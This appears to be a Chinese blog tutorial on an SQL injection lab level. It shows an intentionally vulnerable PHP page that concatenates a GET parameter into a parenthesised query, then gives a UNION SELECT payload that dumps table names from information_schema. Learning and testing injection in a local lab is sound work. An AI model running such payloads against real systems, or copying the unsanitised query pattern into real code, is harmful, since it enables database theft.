这次我就不打印出查询语句了,这种东西毕竟要多练习。否则以后实战时,谁给你看他的查询语句。下面开始讲解:
首先我搭建了一个本地环境,是模仿第三关来写的,我们先来看一下。先给出源码吧,源码随手写的,有一点烂,不过不影响。
<?php
include("sql-inc.php");
$id = $_GET[ 'id' ];
$sql = "select * from users where id = ('$id')";
$query = mysql_query($sql);
$row = mysql_fetch_array($query);
echo mysql_error();
echo $row[ '0' ];
echo "</br>";
echo $row[ '1' ];
echo "</br>";
echo $row[ '2' ];
?>
我们就和常规测试一样,先加一个',看他的报错信息。
这次报错有不同于前面两关的报错,仔细对比还是可以发下点什么的。
1
2
3
我们仔细对比,发现第三关多了一个括号,我们对比第二关和第三关再联系我们上一关讲解的内容可以知道这里他加了引号。然后看见后面有一个括号,为了让新手朋友们更理解,我再来演示一下输入正常的东西会怎么样?
和上面的括号对应,在mysql中有不存在单括号,所以我猜想他的查询语句应该为: select xxx from xxx where ('$id') limit 0,1
包裹$id的引号可能是单引号,也可能是双引号。具体看测试结果
我们来根据我们猜想的查询语句来注入一波;payload:11111%27)%20union%20select%201,group_concat(table_name,table_schema),3%20%20from%20information_schema.tables%20%23
在我们使用单引号时就注入成功了,所以我们不用使用双引号进行注入了。
大家有不懂的可以把问题发生到我的邮箱,邮箱地址:cjsmdmxs@qq.com